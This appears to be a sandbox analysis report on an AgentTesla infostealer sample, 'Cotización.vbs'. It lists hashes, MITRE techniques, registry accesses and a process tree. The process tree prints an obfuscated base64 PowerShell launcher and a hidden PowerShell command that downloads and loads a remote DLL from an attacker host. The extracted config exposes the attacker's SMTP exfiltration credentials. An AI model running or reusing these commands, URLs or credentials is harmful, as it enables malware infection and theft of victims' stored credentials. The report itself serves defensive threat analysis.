agenttesla | a0eee785ad7362d359cc120ee9ec1455fac3e713a5f7912eee64c163e2223a48

General

Target

Cotización.vbs
Size

318KB
MD5

af07804be156bc522ae4a2f0dbd04ffe
SHA1

d4c1df8310836d4dc62fef06462f024496a5448c
SHA256

a0eee785ad7362d359cc120ee9ec1455fac3e713a5f7912eee64c163e2223a48
SHA512

a5e7be4b3f5040f737a68a9801a3962962515a4909bed4ba33d546632f15d6f948905ecb13b4c007a300e3d46db2a471db6d3e3c2b86e6f42d7b84a58b7a5455
SSDEEP

192:xqK5c6S0jjuQjjarGkEudzptZEygbKjreYSikjjjjZutYzK1pGt6ZZZSpqxagSTU:xqK5QNp3ngqxXSYZ2Ur

Score

10^/10

agenttesla collection keylogger spyware stealer trojan

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

ps1.dropper

http://cryptersandtools.minhacasa.tv/e/e

Extracted

Family

agenttesla

Credentials

Protocol: smtp
Host:
mail.seylan-lk.icu
Port:
587
Username:
[email protected]
Password:
@=~Uk=x~G-ua
Email To:
[email protected]

Signatures

AgentTesla
Agent Tesla is a remote access tool (RAT) written in visual basic.
keylogger trojan stealer spyware agenttesla

Blocklisted process makes network request 2 IoCs

flow	pid	Process
2	2212	powershell.exe
3	2212	powershell.exe

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-1498570331-2313266200-788959944-1000\Control Panel\International\Geo\Nation	WScript.exe

Reads data files stored by FTP clients 2 TTPs
Tries to access configuration files associated with programs like FileZilla.
spyware stealer

Data from Local System
T1005

Credentials in Files
T1081
Reads user/profile data of local email clients 2 TTPs
Email clients store some user data on disk where infostealers will often target it.
spyware stealer

Data from Local System
T1005

Credentials in Files
T1081
Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials in Files
T1081

Accesses Microsoft Outlook profiles 1 TTPs 3 IoCs

collection

Email Collection

T1114

description	ioc	Process
Key opened	\REGISTRY\USER\S-1-5-21-1498570331-2313266200-788959944-1000\Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	RegAsm.exe
Key opened	\REGISTRY\USER\S-1-5-21-1498570331-2313266200-788959944-1000\Software\Microsoft\Office\15.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	RegAsm.exe
Key opened	\REGISTRY\USER\S-1-5-21-1498570331-2313266200-788959944-1000\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	RegAsm.exe

Suspicious use of SetThreadContext 1 IoCs

description	pid	Process	procid_target
PID 2212 set thread context of 3860	2212	powershell.exe	82

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Suspicious behavior: EnumeratesProcesses 6 IoCs

pid	Process
2932	powershell.exe
2932	powershell.exe
2212	powershell.exe
2212	powershell.exe
3860	RegAsm.exe
3860	RegAsm.exe

Suspicious use of AdjustPrivilegeToken 3 IoCs

description	pid	Process
Token: SeDebugPrivilege	2932	powershell.exe
Token: SeDebugPrivilege	2212	powershell.exe
Token: SeDebugPrivilege	3860	RegAsm.exe

Suspicious use of WriteProcessMemory 12 IoCs

description	pid	Process	procid_target
PID 4000 wrote to memory of 2932	4000	WScript.exe	79
PID 4000 wrote to memory of 2932	4000	WScript.exe	79
PID 2932 wrote to memory of 2212	2932	powershell.exe	81
PID 2932 wrote to memory of 2212	2932	powershell.exe	81
PID 2212 wrote to memory of 3860	2212	powershell.exe	82
PID 2212 wrote to memory of 3860	2212	powershell.exe	82
PID 2212 wrote to memory of 3860	2212	powershell.exe	82
PID 2212 wrote to memory of 3860	2212	powershell.exe	82
PID 2212 wrote to memory of 3860	2212	powershell.exe	82
PID 2212 wrote to memory of 3860	2212	powershell.exe	82
PID 2212 wrote to memory of 3860	2212	powershell.exe	82
PID 2212 wrote to memory of 3860	2212	powershell.exe	82

outlook_office_path 1 IoCs

description	ioc	Process
Key opened	\REGISTRY\USER\S-1-5-21-1498570331-2313266200-788959944-1000\Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	RegAsm.exe

outlook_win_path 1 IoCs

description	ioc	Process
Key opened	\REGISTRY\USER\S-1-5-21-1498570331-2313266200-788959944-1000\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	RegAsm.exe

C:\Windows\System32\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\Cotización.vbs"
1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:4000
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $Codigo = 'WwBC⁂Hk⁂d⁂Bl⁂Fs⁂XQBd⁂C⁂⁂J⁂BE⁂Ew⁂T⁂⁂g⁂D0⁂I⁂Bb⁂FM⁂eQBz⁂HQ⁂ZQBt⁂C4⁂QwBv⁂G4⁂dgBl⁂HI⁂d⁂Bd⁂Do⁂OgBG⁂HI⁂bwBt⁂EI⁂YQBz⁂GU⁂Ng⁂0⁂FM⁂d⁂By⁂Gk⁂bgBn⁂Cg⁂K⁂BO⁂GU⁂dw⁂t⁂E8⁂YgBq⁂GU⁂YwB0⁂C⁂⁂TgBl⁂HQ⁂LgBX⁂GU⁂YgBD⁂Gw⁂aQBl⁂G4⁂d⁂⁂p⁂C4⁂R⁂Bv⁂Hc⁂bgBs⁂G8⁂YQBk⁂FM⁂d⁂By⁂Gk⁂bgBn⁂Cg⁂JwBo⁂HQ⁂d⁂Bw⁂Do⁂Lw⁂v⁂GM⁂cgB5⁂H⁂⁂d⁂Bl⁂HI⁂cwBh⁂G4⁂Z⁂B0⁂G8⁂bwBs⁂HM⁂LgBt⁂Gk⁂bgBo⁂GE⁂YwBh⁂HM⁂YQ⁂u⁂HQ⁂dg⁂v⁂GU⁂LwBl⁂Cc⁂KQ⁂p⁂Ds⁂WwBT⁂Hk⁂cwB0⁂GU⁂bQ⁂u⁂EE⁂c⁂Bw⁂EQ⁂bwBt⁂GE⁂aQBu⁂F0⁂Og⁂6⁂EM⁂dQBy⁂HI⁂ZQBu⁂HQ⁂R⁂Bv⁂G0⁂YQBp⁂G4⁂LgBM⁂G8⁂YQBk⁂Cg⁂J⁂BE⁂Ew⁂T⁂⁂p⁂C4⁂RwBl⁂HQ⁂V⁂B5⁂H⁂⁂ZQ⁂o⁂Cc⁂RgBp⁂GI⁂ZQBy⁂C4⁂S⁂Bv⁂G0⁂ZQ⁂n⁂Ck⁂LgBH⁂GU⁂d⁂BN⁂GU⁂d⁂Bo⁂G8⁂Z⁂⁂o⁂Cc⁂VgBB⁂Ek⁂Jw⁂p⁂C4⁂SQBu⁂HY⁂bwBr⁂GU⁂K⁂⁂k⁂G4⁂dQBs⁂Gw⁂L⁂⁂g⁂Fs⁂bwBi⁂Go⁂ZQBj⁂HQ⁂WwBd⁂F0⁂I⁂⁂o⁂Cc⁂d⁂B4⁂HQ⁂LgBz⁂G8⁂ZwBu⁂G8⁂YgB3⁂GU⁂bg⁂v⁂D⁂⁂O⁂⁂u⁂Dg⁂N⁂⁂u⁂D⁂⁂O⁂⁂x⁂C4⁂N⁂⁂5⁂DE⁂Lw⁂v⁂Do⁂c⁂B0⁂HQ⁂a⁂⁂n⁂Ck⁂KQ⁂=';$OWjuxd = [system.Text.encoding]::Unicode.GetString( [system.Convert]::Frombase64String( $codigo.replace('⁂','A') ) );powershell.exe -windowstyle hidden -executionpolicy bypss -NoProfile -command $OWjuxD
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:2932
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypss -NoProfile -command "[Byte[]] $DLL = [System.Convert]::FromBase64String((New-Object Net.WebClient).DownloadString('http://cryptersandtools.minhacasa.tv/e/e'));[System.AppDomain]::CurrentDomain.Load($DLL).GetType('Fiber.Home').GetMethod('VAI').Invoke($null, [object[]] ('txt.sognobwen/08.84.081.491//:ptth'))"
    3⤵
    - Blocklisted process makes network request
    - Suspicious use of SetThreadContext
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:2212
  - - C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
      "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
      4⤵
      Accesses Microsoft Outlook profiles
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      outlook_office_path
      outlook_win_path
      PID:3860

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Credentials in Files

3

T1081

Discovery

Query Registry

1

T1012

System Information Discovery

2

T1082

Lateral Movement

Collection

Data from Local System

Email Collection

Command and Control

Exfiltration

Impact

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Downloads

C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
64B

MD5
a6c9d692ed2826ecb12c09356e69cc09

SHA1
def728a6138cf083d8a7c61337f3c9dade41a37f

SHA256
a07d329eb9b4105ba442c89f7cfa0d7b263f9f0617e26df93cf8cdc8dc94d57b

SHA512
2f27d2b241ce34f988c39e17ca5a1ebe628ac6c1b8ee8df121db9ad8929eaadf5f24ad66457591cccf87e60d2ba2eab88af860ab9c323a5c2a9867045d6e7ba3

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_qnvvgdy5.ged.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
memory/2212-155-0x000001ED43500000-0x000001ED43510000-memory.dmp

Filesize
64KB

Download
memory/2212-154-0x000001ED43500000-0x000001ED43510000-memory.dmp

Filesize
64KB

Download
memory/2212-156-0x000001ED43500000-0x000001ED43510000-memory.dmp

Filesize
64KB

Download
memory/2932-152-0x000001A9C1FE0000-0x000001A9C1FF0000-memory.dmp

Filesize
64KB

Download
memory/2932-133-0x000001A9C1FA0000-0x000001A9C1FC2000-memory.dmp

Filesize
136KB

Download
memory/2932-153-0x000001A9C1FE0000-0x000001A9C1FF0000-memory.dmp

Filesize
64KB

Download
memory/3860-161-0x00000000059A0000-0x0000000005F44000-memory.dmp

Filesize
5.6MB

Download
memory/3860-157-0x0000000000400000-0x0000000000430000-memory.dmp

Filesize
192KB

Download
memory/3860-162-0x00000000054D0000-0x0000000005536000-memory.dmp

Filesize
408KB

Download
memory/3860-163-0x0000000005450000-0x0000000005460000-memory.dmp

Filesize
64KB

Download
memory/3860-164-0x00000000063A0000-0x00000000063F0000-memory.dmp

Filesize
320KB

Download
memory/3860-165-0x00000000065C0000-0x0000000006782000-memory.dmp

Filesize
1.8MB

Download
memory/3860-166-0x0000000006490000-0x0000000006522000-memory.dmp

Filesize
584KB

Download
memory/3860-167-0x00000000063F0000-0x00000000063FA000-memory.dmp

Filesize
40KB

Download
memory/3860-168-0x0000000005450000-0x0000000005460000-memory.dmp

Filesize
64KB

Download

Analysis

Sharing

General

Malware Config

Extracted

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v6

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Downloads